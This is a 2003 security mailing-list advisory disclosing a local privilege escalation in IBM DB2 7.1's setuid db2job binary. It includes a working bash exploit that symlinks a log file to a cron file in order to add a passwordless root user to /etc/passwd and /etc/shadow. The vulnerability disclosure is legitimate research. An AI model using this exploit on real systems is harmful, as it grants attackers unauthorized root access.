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Local Vulnerability in IBM DB2 7.1 db2job binary
From: pask () cmlc upv es
Date: Tue, 5 Aug 2003 16:09:09 +0200 (CEST)





 Title:    Local Vulnerability in IBM DB2 7.1 db2job binary
 Date:     27-07-2003
 Platform: Only tested in Linux but can be exported to others.
 Impact:   Users with exec perm over ./db2as/sqllib/adm/db2job can create files 
           with 770 mode and owned by root.
 Author:   Juan Manuel Pascual Escriba <pask () uninet edu>
 Status:   Vendor contacted details below.


PROBLEM SUMMARY:

 There is a write permisions checking error in db2job binary that can be used by local
users with exec perm over db2job to write any file owned by root with mode 770. 


DESCRIPTION

db2job is installed with 4550 perm and owned by root.db2asgrp in my default installation

[pask () dimoniet home]$ ls -alc ./db2as/sqllib/adm/db2job
-r-sr-x---    1 root     db2asgrp   339402 Jun 21  2002 ./db2as/sqllib/adm/db2job

only db2as and db2inst1 are in db2asgrp then they are the only users that can achieve root 
privileges with this bug. Always the sysmanager can chmod 6555 db2job for admin purposes, and 
the users go wide.


The binary does'nt drop privileges before writing the log and writes the next files owned by root:

-rw-r-----    1 root     db2asgrp /home/db2as/sqllib/db2jobht.prf
-rw-r-----    1 root     db2asgrp /home/db2as/sqllib/db2jobht.bak
-rw-r-----    1 root     db2asgrp /home/db2as/sqllib/db2jobsm.bak
-rwxrwx---    1 root     db2asgrp /home/db2as/sqllib/0_1.out



IMPACT:

        Easy to overwrite or create new files owned by root (.rhosts, cron files) via link 
injection....

EXPLOIT

#!/bin/bash

DB2JOB=/home/db2as/sqllib/adm/db2job
CRONFILE=/etc/cron.hourly/pakito
USER=pakito

unset DB2INSTANCE
export DB2DIR=./trash

        if [ -d $DB2DIR ]; then
                echo Trash directory already created
        else
                mkdir $DB2DIR
        fi

cd $DB2DIR
        if [ -f ./0_1.out ]; then
                echo Link Already Created
        else
                ln -s $CRONFILE ./0_1.out
        fi

$DB2JOB


echo "echo "#!/bin/bash"" > $CRONFILE
echo "echo "$USER:x:0:0::/:/bin/bash" >> /etc/passwd" >> $CRONFILE
echo "echo "$USER::12032:0:99999:7:::" >> /etc/shadow" >> $CRONFILE
echo "  must wait until cron execute $CRONFILE and then exec su pakito"


 STATUS 

        This bug was reported to security-alert () austin ibm com on July 27. 
After that on July 29 IBM sec staff forwards as bcc my emails to with db2 
security team. At 5th August i have'nt any idea about db2 sec team emails 
or how to contact  it.





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This vulnerability was researched by:
Juan Manuel Pascual Escriba            pask () uninet edu

http://concepcion.upv.es/~pask/advisories/2003/IBM%20DB2%20db2job









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